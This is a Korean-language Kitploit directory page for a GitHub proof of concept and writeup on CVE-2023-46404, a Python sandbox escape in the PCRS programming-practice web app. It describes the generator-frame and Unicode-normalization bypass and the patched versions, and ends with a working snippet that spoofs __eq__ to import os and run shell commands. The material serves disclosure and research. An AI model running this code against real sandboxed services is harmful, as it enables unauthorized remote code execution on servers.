Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-46404 — CVE-2023-46404에 대한 PoC 및 Writeup. | Kitploit
도구/GitHubGitHub/windecks/cve-2023-46404
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubwindecks/cve-2023-46404

CVE-2023-46404

CVE-2023-46404에 대한 PoC 및 Writeup.

저장소 보기
32년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-46404

PCRS는 토론토 대학교에서 개발된 온라인 프로그래밍 연습용 웹 애플리케이션입니다. Bitbucket 저장소를 참조하십시오: https://bitbucket.org/utmandrew/pcrs/src/3.11/

요약

코드 제출 기능이 있는 PCRS의 “Questions” 페이지와 “Code editor” 페이지는 Python 샌드박스를 탈출하여 원격 코드 실행(RCE)에 취약합니다.

상세 정보

PCRS 인스턴스에서는 생성기(generator) 객체를 사용하여 원격 코드 실행이 가능합니다. 생성기 프레임(gi_frame)과 f_back을 사용하면 스크립트가 샌드박스 처리된 스택 프레임을 벗어나 샌드박스 처리되지 않은 환경에서 악성 코드를 실행할 수 있습니다. 또한 유니코드 정규화를 통해 기본 입력 필터링을 쉽게 우회할 수 있습니다. 최소 권한을 가진 모든 인증된 사용자가 이 공격을 수행할 수 있습니다. 자세한 내용은 PoC를 참조하십시오.

알려진 영향을 받는 버전

  • Python 실행 기능이 있는 PCRS <= 3.11 d0de1e.
  • 9326ad3에서 패치가 구현되었으며, 부분 완화는 fbaedd3에서 이루어졌습니다.

완화

안전한 격리 메커니즘을 처음부터 설계하는 것은 누락과 취약점이 발생하기 쉽습니다. 항상 그렇듯이, 언어보다는 실행 환경을 샌드박스 처리하는 것이 더 좋습니다.

추가

제한된 환경에서는 __eq__를 재정의하여 사용할 수 있습니다:

root@kitploit:~
def f():
    mod_name = "os"
    fake_name = "json"
    os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
    os.system("id > /tmp/test.txt")
    s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
    os.system("rm /tmp/test.txt")
    return s
도구 다운로드